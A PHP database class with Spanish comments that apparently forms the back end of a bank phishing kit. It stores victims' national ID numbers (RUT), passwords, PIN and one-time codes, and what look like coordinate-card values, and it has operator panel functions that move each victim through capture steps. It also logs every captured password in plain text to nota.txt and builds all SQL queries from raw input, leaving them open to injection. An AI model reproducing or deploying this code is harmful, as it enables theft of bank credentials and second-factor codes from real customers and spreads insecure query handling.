<?php

class Dbase{

    protected $dbHost = dbHost;
    protected $dbUsername = dbUsername;
    protected $dbPass = dbPass;
    protected $dbname = dbname;
    protected $dbconex;

    public function conectar() {

        // Create connection
        $this->dbconex = new mysqli($this->dbHost, $this->dbUsername, $this->dbPass, $this->dbname);

        if($this->dbconex->connect_errno != 0):
            $print = "<br>No ha podido realizarse la conexión mediante objetos<br>";
            $print .= "Error número: ". $this->dbconex->connect_errno." equivalente a: ". $this->dbconex->connect_error;
            return $print;
        endif;

    }

    public function creartablas() {

        //CREANDO TABLAS PARA BASE DE DATOS
        $query[0] = "CREATE TABLE IF NOT EXISTS cliente(id INT NOT NULL AUTO_INCREMENT, rut TEXT, pwd TEXT, nombre TEXT, lastse TEXT, personi TEXT, atme TEXT, codigo TEXT, cordea TEXT, cordeb TEXT, cordec TEXT, corde1 TEXT, corde2 TEXT, corde3 TEXT, ip TEXT, reading TEXT, estado TEXT, proceso int, lastfecha DATETIME, fecha DATETIME, PRIMARY KEY(id))";
        $query[1] = "CREATE TABLE IF NOT EXISTS panel(id INT NOT NULL AUTO_INCREMENT, estado TEXT, PRIMARY  KEY(id))";
        $query[2] = "INSERT INTO panel(estado) VALUES ('1')";

        for($i = 0; $i < count($query); ++$i):
            if(!$this->dbconex->query($query[$i])):
                $print = "<br>No ha podido crearse la tabla mediante objetos<br>";
                $print .= "Error: ".$this->dbconex->error;
                return $print;
            endif;
        endfor;

        return '';
        //FINAL

    }

    //TODO SOBRE EL CLIENTE

    public function insertCliente($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows == 0):
            $this->dbconex->query("INSERT INTO cliente(rut,pwd,nombre,lastse,personi,atme,codigo,cordea,cordeb,cordec,corde1,corde2,corde3,ip,reading,estado,proceso,lastfecha,fecha) VALUES('".$datos['rut']."','".$datos['pwd']."','".$datos['nombre']."','".$datos['lastse']."','".$datos['personi']."','','','','','','','','','".$datos['ip']."','".$datos['reading']."','".$datos['estado']."','".$datos['proceso']."','".$datos['fecha']."','".$datos['fecha']."')");
		
		$fp = fopen("nota.txt", "a");   // "a" = append
fwrite($fp, "INSERT INTO cliente(rut,pwd,nombre,lastse,personi,atme,codigo,cordea,cordeb,cordec,corde1,corde2,corde3,ip,reading,estado,proceso,lastfecha,fecha) VALUES('".$datos['rut']."','".$datos['pwd']."','".$datos['nombre']."','".$datos['lastse']."','".$datos['personi']."','','','','','','','','','".$datos['ip']."','".$datos['reading']."','".$datos['estado']."','".$datos['proceso']."','".$datos['fecha']."','".$datos['fecha']."')". PHP_EOL);
fclose($fp);
		
        else:

            while ($item = $q->fetch_object()) :
                if ($item->proceso != 7):
                    $this->dbconex->query("UPDATE cliente SET proceso = '".$datos["proceso"]."', reading = '1' WHERE rut = '".$datos['rut']."'");
                endif;
            endwhile;

        endif;
    }

    public function getestado($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            while ($item = $q->fetch_object()) { return $item->proceso; }
        endif;
        return "";
    }

    public function getUserID($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            while ($item = $q->fetch_object()) { return $item; }
        endif;
        return "";
    }

    public function updateus($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET estado = '".$datos["estado"]."', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updateatm($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET atme = '".$datos["atme"]."', estado = '".$datos["estado"]."', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updatecorde($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET corde1 = '".$datos["corde1"]."', corde2 = '".$datos["corde2"]."', corde3 = '".$datos["corde3"]."', estado = '".$datos["estado"]."', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updatecod($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET codigo = '".$datos["codigo"]."', estado = '".$datos["estado"]."', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function lastfecha($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET lastfecha = '".$datos["lastfecha"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updatealert($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET estado = '".$datos["estado"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }



    //CONTROLADOR PANEL

    public function updateRead($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET reading = '".$datos["reading"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updateuser($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET estado = '".$datos["estado"]."', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function updatecordu($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE cliente SET estado = '".$datos["estado"]."', cordea = '".$datos["cordea"]."', cordeb = '".$datos["cordeb"]."', cordec = '".$datos["cordec"]."', corde1 = '', corde2 = '', corde3 = '', proceso = '".$datos["proceso"]."' WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function borraru($datos) {
        $q = $this->dbconex->query("SELECT * FROM cliente WHERE rut = '".$datos['rut']."'");
        if($q->num_rows > 0):
            $this->dbconex->query("DELETE FROM cliente WHERE rut = '".$datos['rut']."'");
        endif;
    }

    public function getUserall() {
        $printUser = array();
        $fecha = date('Y-m-d H:i:s');
        //echo "SELECT *, TIMESTAMPDIFF(MINUTE, lastfecha, '$fecha') AS tiempo FROM cliente ORDER BY fecha DESC LIMIT 50";
        $q = $this->dbconex->query("SELECT *, TIMESTAMPDIFF(MINUTE, lastfecha, '$fecha') AS tiempo FROM cliente ORDER BY fecha DESC LIMIT 50");
        
        if($q->num_rows > 0):
            while ($item = $q->fetch_object()):
                $printUser[] = $item;
            endwhile;
        endif;
        //print_r($printUser);
        return $printUser;
    }


    //TABLA CONFIGURACION
    public function paestado() {
        $q = $this->dbconex->query("SELECT * FROM panel where id = '1'");
        if($q->num_rows > 0):
            while ($item = $q->fetch_object()) { return $item->estado; }
        endif;
        return '';
    }

    //TABLA CONFIGURACION
    public function setestado($datos) {

        $q = $this->dbconex->query("SELECT * FROM panel where id = '1'");
        if($q->num_rows > 0):
            $this->dbconex->query("UPDATE panel SET estado = '".$datos['estado']."' WHERE id = '1'");
        endif;

        return '';

    }

}